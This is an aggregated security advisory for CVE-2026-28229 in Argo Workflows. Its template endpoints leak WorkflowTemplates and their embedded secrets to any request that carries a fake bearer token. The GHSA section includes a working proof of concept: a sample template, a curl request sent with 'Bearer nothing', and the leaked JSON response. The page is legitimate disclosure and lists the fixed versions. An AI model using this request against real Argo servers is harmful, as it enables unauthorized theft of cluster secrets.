CVE-2026-28229

Argo Workflows has unauthorized access to Argo Workflows Template

CVSS 3.1 9.8 CRITICALEUVD CVSS 3.1 9.8 CVSS 3.1 · [email protected] · Secondary 9.8 CRITICALCVSS 3.1 · [email protected] · Primary 7.5 HIGHCVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by github.com/argoproj/argo-workflows/v3 3.7.11 Fixed by github.com/argoproj/argo-workflows/v4 4.0.2osv · severity unknownFixed by github.com/argoproj/argo-workflows/v3 3.7.11 Fixed by github.com/argoproj/argo-workflows/v4 4.0.2KEV status unknown

Original advisory

cve-program · CVE-2026-28229

Published

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 4.0.2 and 3.7.11, Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests. This vulnerability is fixed in 4.0.2 and 3.7.11.

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euvd · EUVD-2026-11196

Published

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nvd · CVE-2026-28229

Published

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osv · GHSA-56px-hm34-xqj5

Published

### Summary Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests. ### Details https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78 https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72 Informers use the server’s rest config, so they read using server SA privileges. https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42 https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46 ### PoC 1. Create template ```yml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: leak-workflow-template namespace: argo spec: templates: - name: make-secret resource: action: create manifest: | apiVersion: v1 kind: Secret metadata: name: leaked-secret type: Opaque data: password: c3VwZXJzZWNyZXQ= ``` Then apply that with `kubectl apply -f poc.yml` 2. Query Argo Server with a fake token **Result:** ```cmd > kubectl apply -f poc.yml workflowtemplate.argoproj.io/leak-workflow-template created > curl -sk -H "Authorization: Bearer nothing" \ "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template" {"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}} ``` ### Impact Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.

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osv · GO-2026-4678

Published

Unauthorized access to Argo Workflows Template in github.com/argoproj/argo-workflows

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Affected versions, risk and source history

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15 Nov 2026 10:05:51 UTC